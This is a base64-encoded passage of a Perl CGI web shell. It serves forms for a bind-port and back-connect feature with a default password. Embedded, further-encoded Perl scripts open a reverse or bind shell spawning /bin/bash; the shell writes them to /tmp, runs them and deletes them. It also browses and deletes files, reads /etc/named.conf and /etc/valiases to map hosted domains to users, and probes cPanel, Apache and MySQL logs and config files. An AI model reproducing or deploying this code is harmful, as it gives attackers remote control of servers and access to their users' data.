Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gVGVzdGluZyAuLi4uCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPjxicj4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IHVzZSBwZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kCnsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwoJaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICIkZmlsZSI7Cgl9CglyZXR1cm4gIjAiOwp9CnN1YiBQYXJzZUZpbGVTaXplKCQpCnsKCW15ICRzaXplID0gc2hpZnQ7CglpZigkc2l6ZSA8PSAxMDI0KQoJewoJCXJldHVybiAkc2l6ZS4gIiBCIjsKCX0KCWVsc2UKCXsKCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjAyZiIsJHNpemUgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgS0IiOwoJCX0KCQllbHNlIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgTUIiOwoJCX0KCX0KfQpzdWIgdHJpbSgkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nID1+IHMvXlxzKy8vOwoJJHN0cmluZyA9fiBzL1xzKyQvLzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBBZGRTbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBUcmltU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7Cgkkc3RyaW5nPX4gcy9cXFxcL1xcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIG9uU3VibWl0PVwiRW5jb2RlcignZCcpXCIgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+RmlsZSBTaXplPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPgoJCTx0aCB3aWR0aD0nMTAwJz5QZXJtaXNzaW9uPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibm90bGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCW5leHQ7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZGlyJz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRkKS4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJyk7IHJldHVybiBmYWxzZTsgXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCW15ICRhY3Rpb24gPSBlbmNvZGVfYmFzZTY0KCJlZGl0ICIuJGZpbGUpOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRmaWxlJywnZicpOyByZXR1cm4gZmFsc2U7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZDBtYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoMz48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+V2FybmluZyAhIFNoZWxsIGlzIHVzZWQgdG8gcmVmZXIgbm90IHRvIGhhY2s8L2ZvbnQ+PC9oMz4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsKCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwoJCQkkcmVzdWx0IC49ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYnLAoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywKCQkJJy92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3Mvc3VwaHBfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9sb2dpbl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLAoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsCgkJCScvdXNyL2xvY2FsL3BocC9saWIvcGhwLmluaScsCgkJCScvdXNyL2xvY2FsL3BocDUvbGliL3BocC5pbmknLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1zbG93LmxvZycsCgkJCScvdmFyL215c3FsLmxvZycsCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLAoJCQknL2V0Yy9teXNxbC9teS5jbmYnLAoJCQknL2V0Yy9teS5jbmYnLAoJCQkpOwoJbXkgJGk9MDsKCW15ICRwZXJtczsKCW15ICRzbDsKCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpCgl7CgkJaWYoLXIgJGxvZykKCQl7CgkJCSRwZXJtcz0iT0siOwoJCX1lbHNlCgkJewoJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uU3VibWl0PSJFbmNvZGVyKCdsb2ckaScpIj4KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ibG9nJGkiIG5hbWU9ImMiIHZhbHVlPSJ0YWlsIC0xMDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPgoJC